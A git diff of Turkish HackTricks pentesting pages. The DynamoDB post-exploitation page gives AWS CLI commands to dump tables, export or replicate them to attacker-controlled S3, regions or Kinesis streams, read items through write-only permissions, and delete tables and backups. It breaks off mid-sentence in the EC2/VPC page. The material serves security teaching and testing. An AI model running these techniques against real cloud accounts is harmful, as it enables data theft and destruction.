b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - DynamoDB Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## DynamoDB Daha fazla bilgi için bakınız: {{#ref}} -../aws-services/aws-dynamodb-enum.md +../../aws-services/aws-dynamodb-enum.md {{#endref}} ### `dynamodb:BatchGetItem` -Bu izne sahip bir saldırgan, **tabloların birincil anahtarına göre öğeleri alabilir** (tablodaki tüm verileri doğrudan isteyemezsiniz). Bu, birincil anahtarları bilmeniz gerektiği anlamına gelir (bunu tablo meta verilerini alarak elde edebilirsiniz (`describe-table`). +Bu izne sahip bir saldırgan, **tablolardan öğeleri birincil anahtar aracılığıyla alabilir** (tablonun tüm verilerini doğrudan isteyemezsiniz). Bu, birincil anahtarları bilmeniz gerektiği anlamına gelir (bunları tablo meta verilerini alarak elde edebilirsiniz (`describe-table`). {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Potential Impact:** Tablodaki hassas bilgileri bularak dolaylı privesc +**Potansiyel Etki:** Tablo içindeki hassas bilgileri bularak dolaylı privesc ### `dynamodb:GetItem` -**Önceki izinlere benzer şekilde** bu izin, potansiyel bir saldırganın alınacak girdinin birincil anahtarı verildiğinde yalnızca 1 tablodan değerleri okumasına izin verir: +**Önceki izinlere benzer şekilde** bu izin, potansiyel bir saldırıcının alınacak girdinin birincil anahtarı verildiğinde yalnızca 1 tablodan değerleri okumasına izin verir: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json } } ``` -Bu izinle **`transact-get-items`** yöntemini şu şekilde kullanmak da mümkündür: +Bu izinle ayrıca **`transact-get-items`** yöntemini şöyle kullanmak da mümkün: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**Olası Etki:** Tablodaki hassas bilgileri bularak Indirect privesc +**Olası Etki:** Tabloda hassas bilgileri bularak dolaylı privesc ### `dynamodb:Query` -**Önceki izinlere benzer şekilde** bu izin potansiyel bir saldırganın, alınacak girdinin birincil anahtarı verildiğinde yalnızca 1 tablodan değerleri okumasına izin verir. [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) kullanmasına izin verir, ancak görünmesi gereken birincil anahtar ile izin verilen tek karşılaştırma "EQ" olduğu için tek bir istekte tüm veritabanını almak amacıyla karşılaştırma kullanamazsınız. +**Önceki izinlere benzer şekilde** bu izin, bir girdinin birincil anahtarı verildiğinde potansiyel bir saldırıcının sadece tek bir tablodan değerleri okumasına izin verir. [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) kullanmasına izin verir, fakat birincil anahtarla (mutlaka bulunması gereken) yapılabilecek tek karşılaştırma "EQ"dir, bu yüzden bir karşılaştırma kullanarak tüm veritabanını bir istekte alamazsınız. {{#tabs }} {{#tab name="json file" }} @@ -107,19 +107,19 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Potansiyel Etki:** Indirect privesc — tablodaki hassas bilgileri bularak +**Olası Etki:** Dolaylı privesc — tabloda hassas bilgileri bularak ### `dynamodb:Scan` -Bu izni kullanarak tabloyu kolayca **dump** edebilirsiniz. +Bu izni kullanarak **tüm tabloyu kolayca dump edebilirsiniz**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**Potansiyel Etki:** Tabloda hassas bilgileri bularak dolaylı privesc +**Potansiyel Etki:** Tablodaki hassas bilgileri bularak dolaylı privesc ### `dynamodb:PartiQLSelect` -Bu izni, **tüm tabloyu kolayca dump etmek** için kullanabilirsiniz. +Bu izni **tüm tabloyu kolayca dökmek** için kullanabilirsiniz. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" @@ -129,13 +129,13 @@ Bu izin ayrıca `batch-execute-statement` gibi işlemleri gerçekleştirmeye de aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -Ancak birincil anahtarı bir değerle belirtmeniz gerekir, bu yüzden çok kullanışlı değildir. +ama primary key için bir değer belirtmeniz gerekiyor, bu yüzden çok kullanışlı değil. -**Olası Etki:** Indirect privesc — tablodaki hassas bilgileri tespit ederek +**Olası Etki:** Tablodaki hassas bilgileri bularak dolaylı privesc ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Bu izin, saldırganın **tüm tabloyu seçtiği bir S3 bucket'ına dışa aktarmasına** izin verir: +Bu izin, bir saldırganın tablonun tamamını seçtiği bir S3 bucket'a **aktarmasına** izin verir: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Bunun çalışması için tablonun point-in-time-recovery etkinleştirilmiş olması gerektiğini unutmayın; tablonun bunu sahip olup olmadığını şu şekilde kontrol edebilirsiniz: +Bunun çalışması için tablonun point-in-time-recovery etkinleştirilmiş olması gerektiğini unutmayın; tablonun bunu içerip içermediğini şu komutla kontrol edebilirsiniz: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -Eğer etkin değilse, onu **etkinleştirmeniz** gerekir ve bunun için **`dynamodb:ExportTableToPointInTime`** iznine ihtiyacınız vardır: +Etkin değilse, **etkinleştirmeniz** gerekecek ve bunun için **`dynamodb:ExportTableToPointInTime`** iznine ihtiyacınız olacak: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**Potential Impact:** Tabloda hassas bilgileri bularak dolaylı privesc +**Potansiyel Etki:** Tablo içinde hassas bilgileri bularak dolaylı privesc -### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup`) +### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -Bu izinlerle, bir saldırgan **yedekten yeni bir tablo oluşturabilir** (veya hatta bir yedek oluşturup bunu farklı bir tabloda geri yükleyebilir). Ardından, gerekli izinlerle, yedeklerden **bilgileri** kontrol ederek **üretim tablosunda artık bulunmayan** öğeleri görebilir. +Bu izinlerle, bir saldırgan **yedekten yeni bir tablo oluşturmak** (veya hatta daha sonra farklı bir tabloda geri yüklemek için bir yedek oluşturmak) gibi işlemleri gerçekleştirebilir. Daha sonra, gerekli izinlerle, yedeklerden **üretim tablosunda artık bulunmayan** **bilgileri** inceleyebilecektir. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**Olası Etki:** Dolaylı privesc — tablonun yedeğinde hassas bilgilerin bulunmasıyla +**Potential Impact:** Tablo yedeklerinde hassas bilgileri bularak dolaylı privesc ### `dynamodb:PutItem` -Bu izin, kullanıcılara **tabloya yeni bir öğe eklemelerine veya var olan bir öğeyi yeni bir öğe ile değiştirmelerine** olanak tanır. Aynı birincil anahtara sahip bir öğe zaten varsa, **tüm öğe yeni öğe ile değiştirilecektir**. Birincil anahtar mevcut değilse, belirtilen birincil anahtara sahip yeni bir öğe **oluşturulacaktır**. +Bu izin, kullanıcılara tabloya **yeni bir öğe ekleme veya var olan bir öğeyi yeni bir öğe ile değiştirme** imkanı verir. Aynı birincil anahtara sahip bir öğe zaten varsa, **tüm öğe yeni öğe ile değiştirilecektir**. Eğer birincil anahtar mevcut değilse, belirtilen birincil anahtara sahip yeni bir öğe **oluşturulacaktır**. {{#tabs }} {{#tab name="XSS Example" }} @@ -202,11 +202,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Potansiyel Etki:** DynamoDB tablosuna veri ekleyip/değiştirme yeteneği ile ilave zaafiyetlerin/bypasses'ın kötüye kullanılması +**Potansiyel Etki:** DynamoDB tablosuna veri ekleyip/değiştirerek ek güvenlik açıklarının/atlatmaların istismarı ### `dynamodb:UpdateItem` -Bu izin, kullanıcılara bir öğenin mevcut özniteliklerini **değiştirme veya öğeye yeni öznitelikler ekleme** imkanı verir. Bu işlem tüm öğeyi **değiştirmez**; yalnızca belirtilen öznitelikleri günceller. Birincil anahtar tabloda mevcut değilse, işlem belirtilen birincil anahtarla **yeni bir öğe oluşturur** ve update expression'ında belirtilen öznitelikleri ayarlar. +Bu izin, kullanıcılara bir öğenin mevcut özniteliklerini değiştirme veya bir öğeye yeni öznitelikler ekleme yetkisi verir. Tüm öğeyi değiştirmez; yalnızca belirtilen öznitelikleri günceller. Eğer tabloda birincil anahtar yoksa, işlem belirtilen birincil anahtarla yeni bir öğe oluşturur ve güncelleme ifadesinde belirtilen öznitelikleri ayarlar. {{#tabs }} {{#tab name="XSS Example" }} @@ -242,49 +242,49 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Olası Etki:** DynamoDB tablosuna veri ekleyip/değiştirerek daha fazla güvenlik açığı/bypasses istismarı +**Potansiyel Etki:** Bir DynamoDB tablosuna veri ekleyip/değiştirilebilmesiyle ilave vulnerabilities/bypasses istismarı ### `dynamodb:DeleteTable` -Bu izne sahip bir saldırgan **bir DynamoDB tablosunu silebilir ve veri kaybına neden olabilir**. +Bu izne sahip bir saldırgan bir DynamoDB tablosunu **silebilir, veri kaybına neden olur**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**Olası etki**: Silinen tabloya bağlı hizmetlerde veri kaybı ve kesinti. +**Olası etki**: Veri kaybı ve silinen tabloya bağlı hizmetlerin aksaması. ### `dynamodb:DeleteBackup` -Bu izne sahip bir saldırgan **DynamoDB yedeğini silebilir, felaket kurtarma senaryosunda potansiyel olarak veri kaybına yol açabilir**. +Bu izne sahip bir saldırgan **bir DynamoDB yedeğini silebilir; bu da olası bir felaket kurtarma senaryosunda veri kaybına neden olabilir**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Potansiyel etki**: Veri kaybı ve felaket kurtarma senaryosunda yedekten geri yükleyememe. +**Olası etki**: Veri kaybı ve bir felaket kurtarma senaryosunda yedekten geri yükleyememe. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Bunun gerçekten çalışıp çalışmadığını test edin +> TODO: Bunun gerçekten çalışıp çalışmadığını test et -Bu izinlere sahip bir saldırgan **bir DynamoDB tablosunda bir akışı etkinleştirebilir, tabloda değişikliklerin akışını başlatmak için tabloyu güncelleyebilir ve ardından tablo değişikliklerini gerçek zamanlı olarak izlemek için akışa erişebilir**. Bu, saldırganın veri değişikliklerini izleyip exfiltrate etmesine olanak tanır; potansiyel olarak data leakage'e yol açabilir. +Bu izinlere sahip bir saldırgan DynamoDB tablosunda bir stream etkinleştirebilir, tabloyu değişikliklerin stream edilmesine başlamak için güncelleyebilir ve ardından tablo değişikliklerini gerçek zamanlı izlemek için stream'e erişebilir. Bu, saldırganın veri değişikliklerini izleyip exfiltrate etmesine ve potansiyel olarak data leakage ile sonuçlanmasına olanak tanır. -1. Bir DynamoDB tablosunda bir akış etkinleştirin: +1. DynamoDB tablosunda bir stream etkinleştirin: ```bash aws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. ARN ve diğer detayları elde etmek için stream'i tanımlayın: +2. ARN ve diğer ayrıntıları elde etmek için stream'i açıklayın: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ --region ``` -3. Stream ARN kullanarak shard iterator'ı alın: +3. Stream ARN kullanarak shard iterator'ı al: ```bash aws dynamodbstreams get-shard-iterator \ --stream-arn \ @@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. shard iterator'ı kullanarak stream'den verilere erişin ve exfiltrate edin: +4. Shard iterator'ı kullanarak stream'den verilere erişin ve verileri exfiltrate edin: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Potential impact**: DynamoDB tablosunun değişikliklerinin gerçek zamanlı izlenmesi ve data leakage. +**Potansiyel etki**: DynamoDB tablosunun değişikliklerinin gerçek zamanlı izlenmesi ve veri leak'i. ### `dynamodb:UpdateItem` ve `ReturnValues=ALL_OLD` ile öğeleri okuma -Bir tablo üzerinde yalnızca `dynamodb:UpdateItem` iznine sahip bir saldırgan, zararsız bir güncelleme yapıp `--return-values ALL_OLD` talep ederek normalde gereken okuma izinleri (`GetItem`/`Query`/`Scan`) olmadan öğeleri okuyabilir. DynamoDB, yanıtın `Attributes` alanında öğenin tam güncelleme öncesi görüntüsünü döner (bu, RCUs tüketmez). +Tablo üzerinde yalnızca `dynamodb:UpdateItem` iznine sahip bir saldırgan, zararsız bir güncelleme yapıp `--return-values ALL_OLD` isteyerek normal okuma izinleri (`GetItem`/`Query`/`Scan`) olmadan öğeleri okuyabilir. DynamoDB, yanıtın `Attributes` alanında öğenin güncelleme öncesi tam görüntüsünü döndürecektir (bu, RCUs tüketmez). -- Minimum izinler: hedef tablo/anahtar üzerinde `dynamodb:UpdateItem`. -- Önkoşullar: öğenin birincil anahtarını bilmelisiniz. +- Gerekli minimum izinler: `dynamodb:UpdateItem` hedef tablo/anahtar üzerinde. +- Önkoşullar: Öğenin birincil anahtarını bilmeniz gerekir. -Örnek (zararsız bir attribute ekler ve yanıt içindeki önceki öğeyi exfiltrate eder): +Örnek (zararsız bir attribute ekler ve yanıt içinde önceki öğeyi exfiltrates): ```bash aws dynamodb update-item \ --table-name \ @@ -318,14 +318,14 @@ aws dynamodb update-item \ --return-values ALL_OLD \ --region ``` -CLI yanıtı, önceki öğeyi (tüm öznitelikler) içeren bir `Attributes` bloğu döndürecektir; bu, yalnızca yazma iznine sahipken fiilen bir okuma ilkeline olanak sağlar. +CLI yanıtı, önceki öğenin tamamını içeren bir `Attributes` bloğu (tüm öznitelikler) içerecek; bu, yalnızca yazma erişiminden read primitive sağlamış olur. -**Olası Etki:** Yalnızca yazma izinleriyle bir tablodan rastgele öğeleri okuyabilme; birincil anahtarlar bilindiğinde hassas veri sızdırılmasına olanak tanır. +**Potential Impact:** Yalnızca yazma izinleriyle bir tablodan rastgele öğeler okunabilir; primary key'ler bilindiğinde hassas verilerin exfiltration yoluyla sızdırılmasına olanak tanır. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` -Yeni bir replica Region ekleyerek DynamoDB Global Table (version 2019.11.21) üzerinde gizli veri sızdırma. Eğer bir yetkili bölgesel bir replica ekleyebiliyorsa, tüm tablo saldırganın seçtiği Region'a çoğaltılır ve saldırgan buradan tüm öğeleri okuyabilir. +Bir DynamoDB Global Table'a (version 2019.11.21) yeni bir bölgesel replica Region ekleyerek stealth exfiltration gerçekleştirilebilir. Eğer bir principal bölgesel bir replica ekleyebiliyorsa, tüm tablo saldırganın seçtiği Region'a replike edilir ve saldırgan o Region'dan tüm öğeleri okuyabilir. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} @@ -354,13 +354,13 @@ aws dynamodb update-table \ {{#endtab }} {{#endtabs }} -İzinler: `dynamodb:UpdateTable` ( `replica-updates` ile) veya hedef tabloda `dynamodb:CreateTableReplica`. Replica'da CMK kullanılıyorsa, o anahtar için KMS izinleri gerekebilir. +İzinler: `dynamodb:UpdateTable` (ile `replica-updates`) veya hedef tablo üzerinde `dynamodb:CreateTableReplica`. Replica'da CMK kullanılıyorsa, o anahtar için KMS izinleri gerekebilir. -Potansiyel Etki: Saldırganın kontrolündeki bir Bölge'ye tam tablo replikasyonu, gizli veri sızdırmaya yol açabilir. +Olası Etki: Saldırgan tarafından kontrol edilen bir bölgeye tüm tablo replikasyonu, bu da gizli veri sızdırılmasına yol açar. -### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) +### `dynamodb:TransactWriteItems` (başarısız koşul yoluyla okuma + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) -Transactional write ayrıcalıklarına sahip bir saldırgan, `TransactWriteItems` içinde kasıtlı olarak `ConditionExpression`'ı başarısız kılan ve `ReturnValuesOnConditionCheckFailure=ALL_OLD` olarak ayarlanan bir `Update` gerçekleştirerek mevcut bir öğenin tüm özniteliklerini sızdırabilir. Başarısızlık durumunda, DynamoDB işlem iptal sebeplerine önceki öznitelikleri ekler; bu da hedeflenen anahtarlar için yalnızca yazma erişimini okuma erişimine dönüştürür. +Transaksiyonel yazma ayrıcalıklarına sahip bir saldırgan, `TransactWriteItems` içinde bir `Update` gerçekleştirip bilerek bir `ConditionExpression`'ı başarısız kılarak ve `ReturnValuesOnConditionCheckFailure=ALL_OLD` ayarlayarak mevcut bir öğenin tüm özniteliklerini dışarı çıkarabilir. Başarısızlık durumunda, DynamoDB önceki öznitelikleri işlem iptal sebeplerine dahil eder; bu da hedeflenen anahtarlar için yazma-erişimini fiilen okuma-erişimine çevirir. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} @@ -409,19 +409,19 @@ print(e.response['CancellationReasons'][0]['Item']) {{#endtab }} {{#endtabs }} -İzinler: `dynamodb:TransactWriteItems` hedef tabloda (ve ilgili öğede). Okuma izinleri gerekli değildir. +İzinler: hedef tablo üzerinde `dynamodb:TransactWriteItems` (ve ilgili öğe). Okuma izni gerekli değildir. -Potansiyel Etki: Sadece işlemsel yazma ayrıcalıkları kullanılarak ve döndürülen iptal nedenleri aracılığıyla bir tablodan (birincil anahtara göre) rastgele öğeler okunabilir. +Muhtemel Etki: Döndürülen iptal nedenleri aracılığıyla yalnızca işlemsel yazma ayrıcalıkları kullanarak bir tablodan (birincil anahtara göre) rastgele öğeleri okumak. -### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI +### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` GSI üzerinde -Düşük entropili bir attribute üzerinde `ProjectionType=ALL` ile bir Global Secondary Index (GSI) oluşturarak okuma kısıtlamalarını aşın, bu attribute'u öğeler arasında sabit bir değere ayarlayın, ardından tam öğeleri almak için indeksi `Query` edin. Bu, temel tablo üzerinde `Query`/`Scan` reddedilmiş olsa bile, index ARN'sine sorgu yapabiliyorsanız çalışır. +Okuma kısıtlamalarını aşmak için düşük entropili bir öznitelikte `ProjectionType=ALL` ile bir Global Secondary Index (GSI) oluşturun, bu özniteliği öğeler arasında sabit bir değere ayarlayın, sonra indeksi `Query` ile sorgulayarak tam öğeleri alın. Bu, temel tabloda `Query`/`Scan` reddedilmiş olsa bile, indeks ARN'sini sorgulayabildiğiniz sürece çalışır. -- Gerekli minimum izinler: -- `dynamodb:UpdateTable` hedef tabloda (GSI'yi `ProjectionType=ALL` ile oluşturmak için). -- `dynamodb:UpdateItem` hedef tablo anahtarlarında (her öğe için indexlenen özniteliği ayarlamak üzere). -- `dynamodb:Query` index resource ARN üzerinde (`arn:aws:dynamodb:::table//index/`). +- Minimum izinler: +- Hedef tablo üzerinde `dynamodb:UpdateTable` (GSI'yi `ProjectionType=ALL` ile oluşturmak için). +- Hedef tablo anahtarları üzerinde `dynamodb:UpdateItem` (her öğede indekslenen özniteliği ayarlamak için). +- İndeks kaynak ARN'si üzerinde `dynamodb:Query` (`arn:aws:dynamodb:::table//index/`). Adımlar (PoC us-east-1'de): ```bash @@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` -**Potential Impact:** Tüm öznitelikleri projekte eden yeni oluşturulmuş bir GSI sorgulanarak, temel tablo okuma API'leri reddedilmiş olsa bile tam tablonun dışa aktarılması. +**Potential Impact:** Yeni oluşturulan ve tüm öznitelikleri projekte eden bir GSI sorgulanarak tablonun tamamının exfiltration'ı, temel tablo okuma API'leri engellense bile. -### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams aracılığıyla sürekli dışa aktarım) +### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams üzerinden sürekli exfiltration) -DynamoDB Kinesis streaming destinations'ı kötüye kullanarak bir tablodaki değişiklikleri saldırganın kontrolündeki bir Kinesis Data Stream'e sürekli olarak dışa aktarma. Etkinleştirildiğinde, her INSERT/MODIFY/REMOVE olayı tablo üzerinde okuma izinlerine ihtiyaç olmadan neredeyse gerçek zamanlı olarak stream'e iletilir. +DynamoDB Kinesis streaming destinations'ı kötüye kullanarak bir tablodaki değişiklikleri saldırganın kontrolündeki bir Kinesis Data Stream'e sürekli olarak exfiltrate etmek. Etkinleştirildiğinde, her INSERT/MODIFY/REMOVE olayı tabloyu okumaya yönelik izinlere ihtiyaç duymadan neredeyse gerçek zamanlı olarak stream'e iletilir. Minimum izinler (saldırgan): -- `dynamodb:EnableKinesisStreamingDestination` on the target table +- `dynamodb:EnableKinesisStreamingDestination` hedef tabloda - Opsiyonel olarak `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` durumu izlemek için -- Kayıtları tüketmek için saldırganın sahip olduğu Kinesis stream üzerinde okuma izinleri: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords` +- Kayıtları tüketmek için saldırganın sahip olduğu Kinesis stream üzerinde okuma izinleri: `kinesis:*`
PoC (us-east-1) @@ -530,6 +530,6 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ```
-**Olası Etki:** Tablo değişikliklerinin, tablo üzerinde doğrudan okuma işlemi yapılmaksızın saldırgan kontrollü bir Kinesis stream'ine sürekli, neredeyse gerçek zamanlı exfiltration edilmesi. +**Potansiyel Etki:** Sürekli, neredeyse gerçek zamanlı olarak tablo değişikliklerinin, tabloda doğrudan okuma işlemi yapılmaksızın saldırganın kontrolündeki Kinesis stream'ine exfiltration yapılması. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index b085fdecf..11a372d40 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,26 +4,26 @@ ## EC2 & VPC -Daha fazla bilgi için kontrol edin: +Daha fazla bilgi için bakınız: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **Kötü Amaçlı VPC Aynası -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC trafik aynalama **bir VPC içindeki EC2 örnekleri için gelen ve giden trafiği kopyalar** ve bu işlemi örneklerin kendisine herhangi bir şey yüklemeye gerek kalmadan gerçekleştirir. Bu kopyalanan trafik genellikle analiz ve izleme için bir ağ saldırı tespit sistemi (IDS) gibi bir yere gönderilir.\ -Bir saldırgan, bunu kullanarak tüm trafiği yakalayabilir ve hassas bilgilere ulaşabilir: +VPC traffic mirroring **bir VPC içindeki EC2 instance'larının gelen ve giden trafiğini çoğaltır**; instance'ların kendilerine herhangi bir şey kurmaya gerek yoktur. Bu çoğaltılmış trafik genellikle analiz ve izleme için network intrusion detection system (IDS) gibi bir yere gönderilir.\ +Bir saldırgan bunu kötüye kullanarak tüm trafiği yakalayabilir ve bundan hassas bilgileri elde edebilir: -Daha fazla bilgi için bu sayfayı kontrol edin: +Daha fazla bilgi için bu sayfaya bakın: {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} -### Çalışan Örneği Kopyala +### Copy Running Instance -Örnekler genellikle bazı hassas bilgileri içerir. İçeri girmek için farklı yollar vardır (bakınız [EC2 ayrıcalık yükseltme hileleri](../../aws-privilege-escalation/aws-ec2-privesc.md)). Ancak, içeriğin ne içerdiğini kontrol etmenin bir diğer yolu **bir AMI oluşturmak ve ondan yeni bir örnek çalıştırmaktır (hatta kendi hesabınızda bile)**: +Instances genellikle bir tür hassas bilgi içerir. İçeri girmek için farklı yollar vardır (bakınız [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Bununla birlikte, içeriğini kontrol etmenin bir diğer yolu **bir AMI oluşturmak ve ondan yeni bir instance (hatta kendi hesabınızda) çalıştırmaktır**: ```shell # List instances aws ec2 describe-images @@ -49,41 +49,105 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Anlık görüntüler, hacimlerin yedekleridir**, genellikle **hassas bilgiler** içerecektir, bu nedenle bunları kontrol etmek bu bilgileri açığa çıkarabilir.\ -Eğer **anlık görüntüsü olmayan bir hacim** bulursanız: **Bir anlık görüntü oluşturabilir** ve aşağıdaki işlemleri gerçekleştirebilir veya sadece **bir örnekte bağlayabilirsiniz**: +**Snapshots are backups of volumes**, genellikle **hassas bilgiler** içerir; bu yüzden bunları kontrol etmek bu bilgileri açığa çıkaracaktır.\ +Eğer bir **volume without a snapshot** bulursanız şunları yapabilirsiniz: **Create a snapshot** oluşturup aşağıdaki işlemleri gerçekleştirmek veya hesabın içinde bir instance'a **mount it in an instance**: {{#ref}} aws-ebs-snapshot-dump.md {{#endref}} -### Veri Sızdırma +### Covert Disk Exfiltration via AMI Store-to-S3 -#### DNS Sızdırma +EC2 AMI'yi doğrudan S3'e `CreateStoreImageTask` kullanarak dışa aktarın; böylece snapshot paylaşımı olmadan ham disk imajı elde edersiniz. Bu, instance'ın ağ yapılandırmasına dokunmadan tam çevrimdışı adli analiz veya veri hırsızlığı yapmanıza olanak tanır. -Bir EC2'yi dışarıya trafik çıkamayacak şekilde kilitleseniz bile, hala **DNS üzerinden sızdırabilir**. +{{#ref}} +aws-ami-store-s3-exfiltration.md +{{#endref}} -- **VPC Akış Günlükleri bunu kaydetmeyecek**. -- AWS DNS günlüklerine erişiminiz yok. -- Bunu, "enableDnsSupport" değerini false olarak ayarlayarak devre dışı bırakın: +### Live Data Theft via EBS Multi-Attach + +Bir io1/io2 Multi-Attach volume'u ikinci bir instance'a ekleyin ve snapshot almadan canlı veriyi çekmek için onu read-only olarak mount edin. Hedef volume aynı AZ içinde zaten Multi-Attach etkinse bu yöntem kullanışlıdır. + +{{#ref}} +aws-ebs-multi-attach-data-theft.md +{{#endref}} + +### EC2 Instance Connect Endpoint Backdoor + +Bir EC2 Instance Connect Endpoint oluşturun, ingress'e yetki verin ve yönetilen bir tünel üzerinden özel instance'lara erişmek için geçici SSH anahtarları inject edin. Kamu portlarını açmadan hızlı lateral hareket yolları sağlar. + +{{#ref}} +aws-ec2-instance-connect-endpoint-backdoor.md +{{#endref}} + +### EC2 ENI Secondary Private IP Hijack + +Kurban ENI'nin secondary private IP'sini saldırgan kontrollü bir ENI'ye taşıyarak IP ile allowlist'e alınmış güvenilir host'ları taklit edin. Bu, belirli adreslere bağlı iç ACL'leri veya SG kurallarını atlamayı mümkün kılar. + +{{#ref}} +aws-eni-secondary-ip-hijack.md +{{#endref}} + +### Elastic IP Hijack for Ingress/Egress Impersonation + +Kurban instance'dan bir Elastic IP'yi saldırgana yeniden ilişkilendirerek gelen trafiği yakalayın veya güvenilir genel IP'lermiş gibi görünen giden bağlantılar başlatın. + +{{#ref}} +aws-eip-hijack-impersonation.md +{{#endref}} + +### Security Group Backdoor via Managed Prefix Lists + +Eğer bir security group kuralı customer-managed prefix list'e referans veriyorsa, saldırgan CIDR'lerini listeye eklemek SG'yi doğrudan değiştirmeden bağlı tüm SG kurallarında erişimi sessizce genişletir. + +{{#ref}} +aws-managed-prefix-list-backdoor.md +{{#endref}} + +### VPC Endpoint Egress Bypass + +İzolasyonlu subnet'lerden outbound erişimi geri kazanmak için gateway veya interface VPC endpoint'leri oluşturun. AWS-managed private link'leri kullanmak, data exfiltration için eksik IGW/NAT kontrollerini atlamaya yarar. + +{{#ref}} +aws-vpc-endpoint-egress-bypass.md +{{#endref}} + +### VPC Flow Logs Cross-Account Exfiltration + +VPC Flow Logs'u saldırgan kontrollü bir S3 bucket'a yönlendirerek ağ meta verisini (source/destination, ports) mağdur hesabın dışında sürekli toplayın; bu uzun vadeli keşif için kullanışlıdır. + +{{#ref}} +aws-vpc-flow-logs-cross-account-exfiltration.md +{{#endref}} + +### Data Exfiltration + +#### DNS Exfiltration + +Bir EC2'yi dışa kapatsanız bile, yine de **exfil via DNS** yapabilir. + +- **VPC Flow Logs will not record this**. +- AWS DNS loglarına erişiminiz yoktur. +- Bunu devre dışı bırakmak için "enableDnsSupport"u false yapın: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` -#### API çağrıları aracılığıyla sızdırma +#### Exfiltration via API calls -Bir saldırgan, kendisi tarafından 